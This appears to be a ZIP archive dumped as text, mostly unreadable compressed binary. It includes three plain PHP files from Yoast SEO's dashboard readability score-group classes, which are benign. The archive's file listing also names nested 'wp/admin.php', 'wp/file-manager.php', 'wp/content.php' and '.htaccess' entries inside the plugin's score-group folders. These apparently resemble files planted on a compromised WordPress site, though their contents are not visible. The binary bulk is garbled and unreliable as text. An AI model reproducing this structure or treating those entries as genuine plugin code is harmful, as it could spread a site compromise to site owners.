BCt{:T` ^'6c6vmDP$@Ơ#LUR5K IjvCJۏ8ߵzC2N۱ݾY| .7R4:3\CX+`2X^ʯW+}H5cOkޮ]/tIۦ=IN)$iosmvywndbc]I-E` ]2d.pۤZ/aOzN%3}QR ;tusizcofhjQosmvywndbcȉ9@V˒))s"k|	ꅎEޯn74JLnZI*zӀԀ?x7b瑃J)d@s]SXC+B6y-8@}E^=˩ CPu"=QM}bg&*tusizcofhj\;enlJo*6m+WYEEp&Htusizcofhj!Sn6Fݑ^B)osmvywndbcSC	e:']zIvz:yVщljc{C!+tusizcofhj}4=66'AVm/Eqdj@VxJCi&\a5&pHfsR̅;HRD#)*b~B5^ٱCaJ·/^{VoW{T	Xpa. cׯ- U{Q[ޝ&7xp_Gn̅ 0ɑR5E?sFJE{yI}dm&\qTA:靈U8E
:|.]3vH7adbwl.Q9HLzRFANh).w/	+oER~;nRgLosmvywndbcD#$b	E%2l0,Jc/gYJ;2ˈ:vh3p|a&Z碕H;Lf'{N\Oa嗢~E+%,@oե6̂B8poosmvywndbc8 Ry }:Ϝ G쏺x0tusizcofhjYn(PNFx?Vi5×jnAp׾ z"ᏦOv@/oZqQA a8qLBc\T\#oJRDi!ֱn4^?Kl} Tsd 5A@z8jiaJVosmvywndbcF}~O#Urǻ6nPosmvywndbctusizcofhjUʫ*1OI*2ϸ$)~t4ѐ_; y$tusizcofhjTw5hSLsg`ud7=H!0foܾrO 5|WΧcɪp8*e$ v|ڶ%;il+\./.-
6+d[[Jq;w~دg^tusizcofhj_Jf&qRu9:*xetq)x*LP".K|+(!hr^'tusizcofhjļd+\nI{@oؒ/hXop-/VXQ\)ؙ2|m%(X8u{tusizcofhjs΀kYFufCi{ɛj$,dsA=H@Hlm)ՇALGg*dilqLgԛ~;8ԟzMtRpYcAXfs :퐜T]͊vKDb$gosmvywndbc;@b?]4܋jW%Rgڸ`CRDÒAB맩64{bN tusizcofhjtusizcofhjrQ\z~j3h+NpdMYj wێzea(;τd]̈́zVjzoʥĲ zXٻZo7%bÁjשּׂe&	o._}mȻtusizcofhjIKdQq
,f M[ѐRutusizcofhjhQ0 T+*q*osmvywndbcʶ[[ CNEY	 #QDI98w,gp/(~ ^ԀB~t՚
(Lf-s+)[Aeڟ]Yv|wC`wm$'gtusizcofhjN8=0M 'NSPcݾ6@Mkt7{`ÕמJۥZ!͍l1*NRyTm)_Btusizcofhj5~%Nn2Xt6¦
@{#qqm%	TNLzZ}u;eWU)Cs7.pP*As Sftusizcofhjtusizcofhjk][|&+PE+xY,]7hS;mǛ[Kj[m~J{SFG\0Xtusizcofhj/! ˘þ/.KtȔ
UThRlo ]05b~o#G/YEosmvywndbcuL{XZtE1UۺmzhxLNDœFOL4~n˓{^#fi=D ۑ^rZ\tusizcofhjtusizcofhj BQv8
ҭ,tڲiF
K OLCvQӿ8[,r	@8r{7 ˂p:JtusizcofhjzBv7[~4q9W]7+ ]ǹ3*:}EK|
ޟ8d$Y?u"WdUλ0`
Mtusizcofhjl{H^+d!__.yp%%Ҩs:uyy,KĸX^\M.hIpC3) Q=ȃy8K"5Q/wosmvywndbc5H	`9osmvywndbct-I{w ^DB&TI-XdjUjJ0U *;"40_3WL)LKB*"E@g RF|t=oP
QTTxj~,6'9lہg	gj}rhUP/l=PǹJͶd&88nWɓUNSd:x+ /wQţ; 	܂v^gH1}MODڒwSpyn-Z{i ڤfwBXïM)këT#J}:Tg̿e,;VO2hQLP6|K?Fz3osmvywndbco2phF	˚QgDa8stj	n i%Ԝp}g-!.]7',SONHӪSjTjM?~sWӿй;m}aKʽjA,TCB)HN[Ij2U$Dp}P7̀6OzuL}ɖu\J)m3Wor~0`uD1/Z]m|)UZ;zO-m"?u:_ntitusizcofhjϟzDU[A2(^e!	UIp$Vu@,-.	D,OF)pۉosmvywndbc
PwcP~n@ug}TX`k@%kR|fna(tusizcofhj&?TOܩ;SN)x"av_M[O]g*UZD4lr.W"UtX=l,$a!c[osmvywndbcfAZ5B	95fUxvj=N	-bjf ;Pݖu#tusizcofhjB	6f3w^9ڲ(ߟ[osmYGG\w_Q776"Ѥ]$yBY4|ǶN$*U,HmˬK'Џzosmvywndbc7W۔wG~2	v=ȓ׾2@Z9(wsۈ=[Z[x#J\/gpnRb$~b	~B:-̵T g?kp+'3[2B^Hʂ-tusizcofhj="d}?osmvywndbcfM+
D\,s}oP0krFىosmvywndbc*r?HG~cIt_L}@cat%/S@v@uXgcEt=īq}ltusizcofhjr8tusizcofhjQa/ӬWX]{)_#`#F"}bsTwΜXSP06|&9=)T'sLnZtusizcofhjŠ I۫h6~sJmJEPuV)&\cL{zv+0!ݿo r߭|"EƁ6ݲF/}u@eO}S.V]QM
}$+.e25+Y^:~"xДD자Ab qFtF㫈zc扃]n؏$nĴ^rsk;gLL jWbaxW@^٬gmy9Fae?\¨yBZD햞0wo!SE]6g $JdPZM%H4^D4^LSou}w29/,;`P 䤎eӬǻ5Ic!=o-q6n3!/eF	˷v`0,BǾ$tusizcofhjq?yRqe*rHNf58;Ws$!)j ^ƣv31@.8.p39h4%5Njb1\sv*J4%qb
|q3#g@gAKTosmvywndbc`_9݄ 黸6b6M
{ɎWnrzw*E.bMC©MI\%8dMas㗺؝qQ{:RTsƠ)jfF`ү}%osmvywndbc5Ÿ-4g`S4#sXjO+|ѪR溤7&*S䘶T^	gtķ򕭐]|m_pD#YĮUh)/.VmosmvywndbcXRߴYv#tc!vF#M+6Mr-)^8;bZ |\r砕؏jQ׿abjMχ?\+\P$	[_)h7u?oHIf/2'mƘɏּ+ ^Qe-'@VU!Ulh[WpeBqEŒh) R
(osmvywndbcr|*"j~^#v/!k6Ͳ,ߘ9)'rVH69\aE2Xn&$q5دhSs`k0=tusizcofhjRLS,a̞?7mf_2)7nX	*eh+{?p'p[Ȓ^M.tusizcofhj|1MNnݴ.0 87YN"Py|nPtusizcofhjmGA}g搯+#Kc=9mPw)G]SVtusizcofhjQ	*oH13-C!fyN081uqnD0${AV*ъ]茶TXC`XBF=~ۚ +g*]k~posmvywndbcosmvywndbcͩ#\ߖ'&@6בɊDjqiiy`ܑ35BrosmvywndbcyBO|S~*	Ls~(Dhw	A[j- duZ	,Ӏ1|6w/v̦`h-p"H/a2boؽH8WJYkdjCeyUwdڀEQuۍZ9sK?_Yb9ۖ2)dzGu*iJP0	_73#W	1vKJ 7W6eZLZ:$&VAwz5grfosmvywndbcl}kcM\e/9:ƆPC:o4X,@G1ߤ  ᏢDb}tusizcofhjΓZ"Lt2#(p ۨp~bKk	'.SZ` '7DJΝ՘DuJ7h@UVCֳpdv`a =̚^R2afx*]Sg"+xǊlz`2M['Hnvbm1xFP#*$"
b/"?+(88qs9^;PUbe+)@FuMU]FL0YDwtusizcofhjA{}",ub?mJȜ=xF3PK҄(2aJ~q/.klMg
n~Zf2%=|8|@iovAFUosmvywndbc
jtusizcofhjacMSQUC7%5#WrF2+Z[vpMY%9{ŉQtݫ#IjH+Y3ܳxe۴cz6ߺrU[|v΅gSi#u68osmvywndbc+Lr5XO_{6}3ۈʻ[Xcĺ?̙*aI{:Djן$I5˂E7) GщUw;LvSll:䄝8|1JFZ 
?oi@ziLܬiӬ]wZ3_돛R6g-XbX(Ľvm.],z2Qd8b-_&m9ˁD݉Fw_x(H.'tusizcofhjӱ;S@&8zPMcmIBDm&8ˊ(iXdY~qE&niQ c-lj "Ktک9k1ߞ@f&s+L"H| 4ɏ;9ڶ	a P-_UxKtusizcofhj\Tm
dIfwHXHBIZ"䱗ù,5V{؃/Bގ`Shu)}3a·l	wMTai5TGøvp([rtusizcofhj͜V2O3d9tqr͂3c{X?/nE|t='ۈ"TM4tusizcofhjŘh}fզqf/^/(0IgLyJ@ &M @HQ	OaDPؕwB6J?]VI~Oۏ CYCf!1f ZFfXvy(_g]Eke!:sdW4)
Yu`4,f5;zdA{hn:&]
 YagGCEtusizcofhj'o12D@G3N	#_| qd
M%JM7_!2N
~**v1PSm
4Q9zd꫙|Yb}:?-PцJ&;^ۯ8LE2,@5꒮":ET0 Ħ"F\sS	7y `-z^+\osmvywndbctusizcofhj|cɧB3'imX IP$Z|Vs@c?%r]JCؤlsޮvv-߾xa
^o0my|Tqv3#tusizcofhjqNkDWm
L.kpo:tq᭕lRf^JVvFѲiSB {8Z\xpF~8]~#@V«1G`wL+04KmCxO9i~y9D5(osmvywndbcEF75PeY'9ͦIx(aPY|etusizcofhj|XM6y
}+~uQ:=}""ei+QDy&o_xeX]Jqk偖)ДΨC]yJBX/ޥ1ڟH$!-
 tn*jC?7?"gd8$'k})̱xMAXvbKo3)zWxwa82OdZ!tߵ\osmvywndbc9IYM_AmgFJDb]Wn1=9 { m[4EȆ
\Y7*\tusizcofhj1\M%
ίL9] 	Ly!خ8'V:ctusizcofhj@]-etjh$/[n1觝^]hw9`[Ufab!L|FC4_SQDxf5*҃ʦ\9\
xJ60 8Q26βt3* RŲr]{Ϝ4Iu|+ѷ6o
bƇ[JޏɭХD0M7KA~Mxm̲!BOoxtusizcofhjoI/t#-.𙇤uoÇG}*=^YM":LqX୉\+vniJdbmX)D
#ZkWg2L*6/Yϰ2qNg+Qo 'Ijg;1ln/ey@KL9̓IQRdf8J˧}\b{|,dcn.UW˚Dc3skRpĮ`ٺ{AsHۼ/	z!Sk@nVvDFQ1}o)JaɀIeiwP2:8(45ގd.ݩM܋HL^F'zD~ꑇ%osmvywndbc%o~!SFb.vx 5s)'NE$.
M9EاWTn7_mYV]L)K0,qF?dKR6g|n0@(BVʪ^]eq$5$ŕe_2;ޡ}Y53/tjI: 8kob\3F{llOn$DP.KR'FWBqHtusizcofhj؈nBnݾRp&h2C2U+^E}Xb:;~ܮO塡
B0p!= 0_{D(mD/ffA~JFRp"y=ǩ%Gu!'o~rsidϒzE1%gnOfJD{G9ԹRNOP;Tي/[ɰ&lUkģ|tusizcofhjVUj+LfBH,mKo1Mi3^m
CC|r\/~cbMLH 6F/?cɨJ;]/rix4 VZdtD/Gposmvywndbc[b C 	X5251Pn
LX*e}DD{{&qi֯Mxַ՟M- ∎'8x!pTiF6rD}%I| 1HxnfS]Kyِ"i͐T[F, =9k`@Lgd6A$lQיphdN@ ~ܶ!]QKu/bs@7Z_b_5ľWosmvywndbcBd x _~EO,E.39Dh`ĸ^Kfյ:9npE:z~#bT=qWHcp0ہ\..˱$iosmvywndbcYqS#7nok%_MFtusizcofhj5yL`&osmvywndbcOZ! \!s;_l$832&If1f/B̔X52/A)4`G~S1C2/h	&\6uosmvywndbcX""׬fU%D-V4sbƏw$]ߵB}j~B.ӔW8nW~?v+d-S%OQdr̭z0p[7s5%t==}(¬f37iG4:`G##$'OmnǮj
8wwCh2c  oAU'45BXG~LPosmvywndbcJm
YCǔ˦|{9$ Xh0̀u]gܳ_0L]Vb= ځ(siViW('ב x(]M=~ݛTQQ7_osmvywndbcPt33i2IyD4_oK-$	yPhW2'׹ggx_$Xa&o,?h3L!,?$!T+lp۳ʎu/
d4ܮ^(3meF·Id~3`qi⼘ÌosmvywndbcV4ʮvT:B'a$GAf7/-U2(AꓨYK]Ze--"Mr W1/p]X'ݯ5LM_0҇+aKƌ Qk22yK6z-uMݦaɕ,
@!z[."	` 'C\VFcCiqXB}UIAx4LӾosmvywndbc~ fKu&!+CtPx5wtޑC͆wyt!Boh%p1aUK
sfpߘknXxYH?_Q\)@a8O(47=fNx1еf踹 :,k}q1Q׈vҽN lhL֤oBfFԑCtusizcofhjkiAUn!PXsT͝\w_q__"L:Kz7JM/.*"@D;CDl'΄ZdѸZcjn~:=PÛ=NeݕL%%)P⭹,ψtusizcofhj]osmvywndbck׎b*c7[]k|vosmvywndbc)̒ZiT
~B7Hˏ\B	8iͨ1\a0q^!j;tE󹱶osmvywndbc _
fi4+9O۬{&C@(Ή0FԅX?dWiO#Q
02ߥcAioW$=N	s(`G
OM;~",qǧtusizcofhj~wOyF`7_h?I%˻ѯՖV? *M(Dc'p	?cPqљV.T61N6Z1LRߍ%T-vpRgBL2tusizcofhj)
W)6~s$cbcF5eK	\*Kنp A#|Dq/5' *r2)Q.fܓ_\Kz3 tft@X8osmvywndbcx|݉8e dؑ8,3":6=':SZߕ]{+G/%fIwS_|wm`i.}[SQi$A딠"Y;ͱ"Lye!&ǀ	4kefQCS/X~ Q6 omD@)	#uNf@=Jkod(;,lSlbmbސeۂ[  KMxN#}9^S1H-߬Qtusizcofhj-	-|]tusizcofhjo2"@U@H(\arRnѳg4-`Z2/tusizcofhjׂnGF8osmvywndbcLu'~yR.m_@_=.X|??ttusizcofhjNrszXJ!fKe!m2]6t-ј _}
Sosmvywndbc^31gp,m?Y/14['y$Sś.*h)zy *SRUp|BDwfpL~ @|W5 ߬:=D,gV#_"nfgcҌDmNtusizcofhjbwr	)wKp)/an -qgc"f^	'݌L{etusizcofhjH+'?3呖X诫ٜXY#oUcI{)ww޾$ʻ \E?y30O7Cc?=K\SM]$!l
.܊1-$@S(q٭m# {Ysbc%E όYd4J\&+yZrXB=osmvywndbcP~]ALle8osmvywndbc3 +Ghb$-
Ezv$©sd#_usgIQ/!{ osmvywndbc o.n?z\MDxAȪId!aιZosmvywndbc1A"6g3X.AG#z:~P;
Oּ~mi뛂Fv_.4eOROí^L;DnXMՐɈ{v]LRQX1Q(zLеtwjosmvywndbc]N81X|Z|7lo/3 ܨ,dc	,wkosmvywndbcZ.IX*ύ㿧!{l҅& 84f_xntusizcofhjpw'ҕ8iP=JyW޾HBtusizcofhjօ%IZosmvywndbce{v6͙4=9,D	R@u/^osmvywndbcmLtusizcofhjlT$tusizcofhjK˅^$Z#BTP
#)?3foć4U0KN|NSՉ3ػa!]]i=Rr0+RpJthru.Ml:~ԫ2{D;KͯFKg
47ݗQHMlcO2;-4m}~\s+ukqLTosmvywndbcq SJTDJyr9#.osmvywndbcu8F'Ζ@Twg2rQo WvLE\tusizcofhjlOuS,
%_{6T:djm'Ib!]3!iܯd[^AX`BPIi啃yEN@6!OkGZ GAWη	ݮao5eeT|"soK6vݣj:p=mk2g9^EtV ApOG`9RGr}ltR9݇vLtusizcofhjw0ca4$v:k;u4)l
{{?mI.}#NH5ChRL%o?w.`A!y,4~g(k~'AuEҽ)ʮi.ز!_a= -+('ĜãPs6W\josmvywndbc1YkU%6M`)vW#OZ[9"-DA.2'Ju-ڡFsK߹',Ω[ 2x#1׹x&l']^Pj8=!ZcEHсmAfTcv2,yC	ccJQ6(=B[Qr"wNd[=JO%wA#`_|=bze|9Z{PY Qtusizcofhj̐ZNosmvywndbcxM1 Y,aFwqm:D[ tusizcofhjtusizcofhjL_v
ty#.I{"M5\B3qLJ[RJzbɗ:[Jb?2Ds,+nū$4)|s҂&tusizcofhjvF{EYtusizcofhjlQgٻ՘5Lt`p
G--d_t-@#v#i!nNNGvRuT}o4Ťosmvywndbc^Z[K.GF=.0&-
u Hؗ芪Hb*%kKtusizcofhj-Ȳ!`q$:nL]љiiłPqr`}1Kc:@Az*ZB&UӡƋa?g8t{_ځ(	k­g|UiA$c_tusizcofhj*u2NZ3{IXfFwÔt.GREuLrosmvywndbct҄[;~+vCtGyLG\	=)?x8c=v܀Jl	^G@y]rǧϏ9w$}d0*'٢Q;f1ozI ]^tIy]K_ǇdN@	rf
`Nnv|XUO:8:&aW:t̢07wz([&ҳ88SyJUÙZTtusizcofhj=[Uc_E[y߯D!;ъkZƢ~og7SMer ~?DO}I} |=mm(fҢy!Џtusizcofhj^вǓb9)Ti6Z:!̳'^A*VtLw;p^S!EG9(oe,`]bDPFўpy$DtQ2)1gr90?d]̀iyץ絮ps/Y~òǩcq@7FA_vT}q=F(rKꏄhAd4q5KPѰ$#
uyHA/mo֚t4i6v0F+#$g5H-kXAzBaR|ξ8Nxs[ߍW)AĽQ2o`ƣ(P[O)7f=MN;vݔ#{e҂Qa7.QKyA9Nȣ1/idhb	-@)^I %^cZ_wۺ)W]|s)Bۺ rosmvywndbce_s+1Qr8Y|r~"	~y9\R.Yo.'#PfJ/f Cpntusizcofhj\	#]}I{{osmvywndbc)1'?wՉtFeMֈ]DkV:\5+ D!y0YV;N;&Ћv~5Ǖo88SF-^ۥ|)e̵t=A=t9w[7糙/k-$/Ri?vLSViP0rF'%JKRAǦA7	gw~KQ.Lղ滧xԫ;(xGmƌ_"-P@[G#D蓅NOyuS1zLd`tusizcofhj-W3醪Xf|̝沍Q-mdVZ/^:}~;^P/rDPn'WB~`~ϤBN4OW0g׆X4Qg68GPA#[33p}~1դ%ε!~4؜KERZx_olM
E dߥUP*J_o@T=tusizcofhj
'q.DӲz!YUfÎm:aJosmvywndbc~nz7a9\gJޯsN$-|lיaBt'6=XrPК]AsO^osmvywndbctusizcofhjaȳд	gƚt.9d /,MEnqܮ}UmR Ya9ĥln;tJtp8LJ"uKǣsvGsk3!s_,4NĥK]c򺴮sus\PnO1QD@&'~9fР:M*lVRq?rE=^nw.4]8B=fYX!Hf~97㚗?!!i%Re^=s&#2URx(zqedՙUX7/P6b|HdWXefGp7osmvywndbc4⿲A)yղ9И+s=]6ЈoO;9J]~_C4n|w"~\w@fn8raGS{3d
[A$؟۶Z"S3f!0(PxO8\0.B`p Ai1;bp*KWӶXÿj]UX+0յ|guDtusizcofhj,{ɥk"d*3t%H^\T9OꟘjކS1V7+Gfa)}^@QN2
;$#+gkKx+^R#8bmKQp{2GgbmutĘKґE8C=yH_sPE&yMy cp|0|[QF~Ծ%BF˚ζkD-SV|;A0UQywA0UZ!RĨ/kvo[Hf%kn
ߣXP;,^85riakہu؂C~uK;jI	x8lv)&"@9-J,׈X1Y(Ł} ggmV l qӭsmi4(
e+@MZ8#ӺY&":؈6~,8*5%57O0nCLGn[oc(NMpLkԺJx),=I*`]osmvywndbc}pgC\SwWw9튷,&.gCI\, {n8\S]osmvywndbcژAoͪEǓEC\* tLQ|. g/\0uʯfջ0jK7/8	}OK*Hs,0]b_%u AצQrRK⹼Ⱥe-&״ߚ7dMz%A#7,qH"vUlosmvywndbcW-8xakFyVRucktusizcofhjxK;lX~#i&#şz:ѭILFqG=D	o?T'AfID
4?Aۼ#BcƝ/_Z$	b*8	ħJ/V=-_uV|m\tusizcofhj% 9sWaֱH
qp!V?\7ZB+bKY`3`ޯb, _t;L\D`+tusizcofhj?y)C|؆=%z*s3#w^Ȟxq)17FG&ܓe1{6[o׽(Q2hosmvywndbc
`2D/'P&r;e[=5ZluosmvywndbcCSA\{[RP\=l}}ͣsr
&,TH8Uϲj;tusizcofhjl"@OaQ/M0'9XhrpmyKG9nsL|Oa\eHgIi8LˋVq2FVRǢ
B}~M4_:K}E&xse`[pxqپ2Kfiz04-I;PR0cp#^%IҍddxQ	3Tt{=VRΝ侺e0$^!5U6/Q,IucۂEI7Cad
U Dv9oGkBHosmvywndbcHf$$xBaa#Yρ`A}hrtusizcofhjua~4Z[bt'&|BnkesVmFVKuVlơ~N&bma0ie.JlRA,;Z9\yZ\SMC/SZ֩$f{3c~Z2Լ:gCEzb/ -ۜ4|P^VXuƊ/);,5"	Gw!k-$oJjn:O_D򵾥
$|+ItusizcofhjxXXFޏ|E\dtusizcofhjV0kL'Bs\YZl\|(tL-6_1@H^osmvywndbc!n@M[ƪKtusizcofhjOb}Jٹsɚj,/8߶aGVdXtusizcofhjPlEdQp~)	4yB61A2"Ǹ	K4FyN6TjU%d#s?!Y\B}L{+=vty9Znę^1NyijeA0	oEwxlhf&bOrHM4K0z+o}#wpE[]YGwqYhx# s֓"pW;=t$y&osmvywndbc+gxj}`π$y8bqqnlWe+(QƩhnk5oI?^OMjuv~#ԋWjÅ5D(Mosmvywndbc:ݣ~O`*gcԴeU!&UQ	܇2Y\ƒJosmvywndbc1`oUvXhg!I&kݶÁ:@	 dX-MosmvywndbcEvZaBŞ0j[)mn^:#nuGKr*{f.osmvywndbc7QYQ6H:TU^2d[H]aK6D\voqߞM.xwN^LT 9K-r3׌6j)Ҿ52Ku6jtusizcofhjT,Ia%i.ljV]9	fHiV5ymZD+cAdM-6gejepd%G10`=(܊NnkkdcY:k`RqlX|[{_VDkIW:96 ]'ќ;#Ttosmvywndbc|Bv^ďVosmvywndbcX9rK?=s~Ua@"UUvV'5  IrfEK܊(Upsi-)&n/?Sʥ2^VMJS}).9IF^	y:]at"D5LoOnؖ[]_X[;m-)t 3`9YȂ%&JK%&3$Ah)"l^
C27enosmvywndbc򶯒+R[f&&Gz	V$#MDXZZO${ĝ/J	zwI%18$P
5m*A0srE{s\Cfb9B] zLdmotusizcofhj|TT}@F4Dh++Z
N@ာ1izC%1Xd-c;ISd;WHAP3V
ҷ[!4|S!@" .'s/1}yqt|
)?E0k`ǬdmP^hzPO#ץ#߹8#coRɠqf~tusizcofhjDtxޞA	F@S;RtusizcofhjP0IUU*$/%JÎUe}4rDas+nk
[8HBp8)tusizcofhjy.&\_osmvywndbc}~y(Rm=W@;jDaN\JܙH%rl3߭e$q%{{~]&)f
C 	:kv%3KlFs5oήڧC:)z[s쉖jxP뢧	=͜__ jT=osmvywndbce,"dqL}'(tusizcofhjwzN˭6osmvywndbcOޢ}{b8Mg'z=.l*7By,- ܫxvwݚKͩ	.Sm|2/6	ޝ6[ҳFnT4iosmvywndbc?xa-Ƙ'5LnR԰7B5/0uUr(&^,CaF#@Ϊco]ͫ,[_cۯ/+pɧˑ$(+&ӣE$~Gd;*a"j)p`IwUJ]s:yqhc 	zx0iGrn2i#H d2vr܇v^fJT;7i됵osmvywndbcb
!#M	%!h߷D&3ATosmvywndbc.|p\.mĆ;$k*3}^!~%tusizcofhjpt* [8׷Bh"0,Q
5APPxJ^ot7CR[FJp{yַO4W#.|8^@H&OnO$tO	ĳNp
SL{Uӯxe$Z4jx7)nFLeljı)4b9hk0Sg/XW;ІD4,ַ#+XTQŪ߹;:0,zF! elT$Z*r5OGKtI~U#ouaz1jۣ@m3X@ÀҜez#-aۻj7;!l3W^
1fK9i5Ki:KI)z{? :)n+yo*
zCuBa	%JU;&Zj|\ģCkĺlqڌ|C\|3l!0ǝ7p!dsMT|2j	jh,-jLSYSëosmvywndbcEֿN 5;NKP@Md.osmvywndbcjmꢙYG9 tqf\č^)9fo;(8\CE2M?̤tusizcofhjosmvywndbcn9}8㱌, Ysnʫ$|?Ҳ,̚-rs'F QX5En"f\osmvywndbciCFowRۯ~SR).@mXbE.ȺjsS6BUQ*~(7gZ27#L`]v }ē2GY#*([ Ey'7osmvywndbcY2foh
n7$OfQ9dmW-;=dƿE_Rx+^um]|$5 lvGcwǌ}]}ĥ`|{\ )/9w7wv~Ci3el4?.J?kx|M;D։c	0R3hNMoEf!d.(zP'*@h\n{n[Z[2@z,- %g2tr#9XBbifh0M %U+R٠&tY1y'p9{s$AKtÇT[0	n)لOwNS:hMCŻ#SmNj)5.#g *o6d8ŨatusizcofhjH"-W\7(Jst!|Q.^Ԗ9WԷ/n:%~?XWouFREM'z,Iqh[K#osmvywndbcpi[,
RCRhN}ocIc[ˀbEXAw%)k4Kh&'P}9ɿ
ٖ%y}*([A.tPLtusizcofhjVI*e@\kHDd~}!I1%.7!;*־'ԝ)U%Ց2-j2C4D/LgTb9NBGqĩզ*%6&*Uu#sS`! 49l1,Ir`8`=҃~(
3hux.lew:ɔ/^-
!F8W9XcA!BosmvywndbcDgم\4wM5护KNg)lQnR7:Z$Wa4E]6K)$͗/0~H]~{Ў9Wsu=z2V%vEwi,Ipk0ڹ:|/a]zN;.LJnpRYcj;NO{H!̄ت RX15#v](sBȌق1uOlm2gXx5z趴r֠C$2~O`ukɪy[Fvzg4osmvywndbcLlEtusizcofhjK~GPAf`;Yóv1@d9ar_zif+e]y*o˙d?osmvywndbcDL'tlt^4:vQ-:10N{QM!zp3 .@}}焪jq{XL]@ho!܆4gflFԷ.)$x^-:L&%ιL0o&\2Ñ킨*P?th.
'tusizcofhj*B]I-G=2t[$c܉L"h] ;o~ͻOHMk;=qLkESvȖz&$CAf)QaUK%Xw;]Vs4osmvywndbcYʔ	`0#xrޒuZH=FZafBN.N	W=!ϗFo"~b	F F2K4;%`L b׵~1UWڭ0u*D:dɁ|0{k=qxtQ	}av09zn}T,&B 1d~(|^Mb?Y*5{=1mU]||+wM3[!'ឲ1?ۉ?{Җ%.](NW&SOe+UlӁ}4cC7VK :)a^tusizcofhjtC7H $ Yz%4OǴ\Ös0?kMX)QEcޓJS@7-Gxx9^RR&%rhS ژuc# 7Ѵ\7AhvOM^mH{|G8?䍞I~ׂFT]	EՆ3ZwDf$~jEA֚~D~BiݬTW8Bzco46X
o~ߜ警6y1.+Wosmvywndbcjosmvywndbc1"8Cosmvywndbc=]m?ya%F0s?߽y/+4o(׍2~Gou%6osmvywndbcVtusizcofhj@tFwqCċ]ufqhr4滇/7ĻasjW{McKڲ]+ntusizcofhjxӑݶ 'Z:+	V(Y	ȫ5~ql'	'.3*wlD+,}P?ipBWzSi2o,cf89['GId,,\p#RoE˰Ya.%Äg#Q~S,Y4xLo\ޤiauT۾j郆os8"0a:pl6VS
"ku
$ǜC%Z]:g/$M-wlԲ^49 "z4`\5W$l89L39g/LA."{Q-F+-^|.R,(9:-Ip^iܸ A;:NotwW|iܻ70!EnzM%osmvywndbcH eVC9W0(#IHeeHosmvywndbc  %}/'%HIj\bXFՕ\k~BWlV7r.L;l.okxōGC+m92af;H92dosmvywndbcJF|;jBXHp{ޛpPptusizcofhjyUǿͫ?DԮ:KAvT6ER3F,шN޶~b}#l	 g9Ŷnosmvywndbc{cY#K⣝IҞ]#(Du6r$}1u%t*:ǀ\IEIg,2n(˚Xݎ6HgjɃgzyÔ0R*vo4y߻|_51bLD~C7uO0[Kosmvywndbc{꾬(3ugZttusizcofhj%F05Xosmvywndbcv=YT{TVT؎ᐖaN"`BR,$,F%"(I\R	Wg̟0nwTu9tusizcofhj-osmvywndbcosmvywndbcWKk2	aϺ{d\!)#gVTiGҲx@Ghl=0BxSD8!3(_-PK       ! G/      =  readability-score-groups/abstract-readability-score-group.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Abstract_Score_Group;

/**
 * Abstract class for a readability score group.
 */
abstract class Abstract_Readability_Score_Group extends Abstract_Score_Group implements Readability_Score_Groups_Interface {

	/**
	 * Gets the key of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_key(): string {
		return 'readability_filter';
	}
}
PK       !     9  readability-score-groups/good-readability-score-group.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

/**
 * This class describes a good readability score group.
 */
class Good_Readability_Score_Group extends Abstract_Readability_Score_Group {

	/**
	 * Gets the name of the readability score group.
	 *
	 * @return string The name of the readability score group.
	 */
	public function get_name(): string {
		return 'good';
	}

	/**
	 * Gets the value of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'good';
	}

	/**
	 * Gets the position of the readability score group.
	 *
	 * @return int The position of the readability score group.
	 */
	public function get_position(): int {
		return 0;
	}

	/**
	 * Gets the minimum score of the readability score group.
	 *
	 * @return int|null The minimum score of the readability score group.
	 */
	public function get_min_score(): ?int {
		return 71;
	}

	/**
	 * Gets the maximum score of the readability score group.
	 *
	 * @return int|null The maximum score of the readability score group.
	 */
	public function get_max_score(): ?int {
		return 100;
	}
}
PK       ! Ct  t  ?  readability-score-groups/readability-score-groups-interface.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Score_Groups_Interface;

/**
 * This interface describes a readability score group implementation.
 */
interface Readability_Score_Groups_Interface extends Score_Groups_Interface {
}
PK         ! 4t  t                  abstract-score-group.phpnu [        PK         ! n n               seo-score-groups/wp/admin.phpnu 7m        PK         ! pkz                w seo-score-groups/wp/.htaccessnu 7m        PK         !     -            w seo-score-groups/abstract-seo-score-group.phpnu [        PK         ! Y6  6  (             seo-score-groups/bad-seo-score-group.phpnu [        PK         ! 4<  <  )            K seo-score-groups/good-seo-score-group.phpnu [        PK         !  h\  \  /             seo-score-groups/seo-score-groups-interface.phpnu [        PK         ! w8  8  '             seo-score-groups/ok-seo-score-group.phpnu [        PK         ! E  E  '            * seo-score-groups/no-seo-score-group.phpnu [        PK         ! D9V  9V               wp/file-manager.phpnu [        PK         ! 'q q             B wp/content.phpnu [        PK         ! pkz                 wp/wp/.htaccessnu 7m        PK         ! n n              wp/wp/admin.phpnu 7m        PK         ! n n             54	 wp/admin.phpnu [        PK         ! 5툇                 score-groups-interface.phpnu [        PK         ! *uӦ    8            F readability-score-groups/bad-readability-score-group.phpnu [        PK         ! :    7            T readability-score-groups/no-readability-score-group.phpnu [        PK         ! WM    7            p readability-score-groups/ok-readability-score-group.phpnu [        PK         ! n n (             readability-score-groups/wp/wp/admin.phpnu 7m        PK         ! pkz    (            E readability-score-groups/wp/wp/.htaccessnu 7m        PK         ! D9V  9V  ,            P readability-score-groups/wp/file-manager.phpnu [        PK         ! 'q q '             readability-score-groups/wp/content.phpnu [        PK         ! n n %            R\ readability-score-groups/wp/admin.phpnu [        PK         ! G/    